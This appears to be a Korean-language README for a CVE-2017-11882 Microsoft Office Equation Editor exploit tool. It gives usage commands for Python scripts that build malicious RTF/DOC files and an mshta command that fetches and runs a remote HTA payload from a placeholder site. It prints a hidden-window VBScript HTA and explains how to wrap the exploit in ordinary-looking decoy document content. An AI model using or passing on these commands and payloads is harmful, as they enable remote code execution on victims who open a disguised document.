
CVE-2017-11882(Microsoft Office Equation Editor)에 대한 익스플로잇으로, 악성 RTF/DOC 파일을 생성하고 mshta를 통해 임의 명령 또는 셸코드를 실행하는 Python 스크립트가 포함되어 있습니다.
43b 원본 스크립트는 https://github.com/embedi/CVE-2017-11882 에서 가져왔습니다.
109b 원본 스크립트는 https://github.com/unamer/CVE-2017-11882/ 에서 가져왔습니다. (존경합니다. 이제 unamer의 코드는 shellcode를 실행할 수 있습니다~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
연구: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
패치 분석: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
DEMO PoC 익스플로잇: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
mshta 사용
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
43b 명령 길이는 43 bytes를 초과할 수 없고, 109b 명령 길이는 109 bytes를 초과할 수 없습니다.
example 폴더에는 CVE-2017-11882 취약점을 악용하여 시스템에서 계산기를 실행하는 .rtf 파일이 들어 있습니다.
사실 사용자 정의 콘텐츠를 만드는 방법도 다른 고수분에게 배운 것입니다. 아주 오래전에 이미 스크립트로 작성해 두었고, 원래는 공개할 생각이 없었습니다. 하지만 그룹 안에 이미 공개한 사람이 있어서 어쩔 수 없이 공개하게 되었습니다. 방법은 사실 간단합니다. 텍스트 파일로 일반 문서 rtf를 열어 {*\datastore 이전의 모든 내용을 복사하고 {\object\objautlink\objupdate 이전의 내용을 교체하기만 하면 됩니다. 그래서 스크립트에 넣으면 아주 간단해집니다.
사용자 정의 콘텐츠 추가 방법, 아무 스크립트나 선택:
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
사용자 정의 콘텐츠는 input.rtf에 있습니다.
unamer의 최신 605바이트 익스플로잇 스크립트는 업데이트하지 않겠습니다. 관심이 있다면 직접 수정하세요.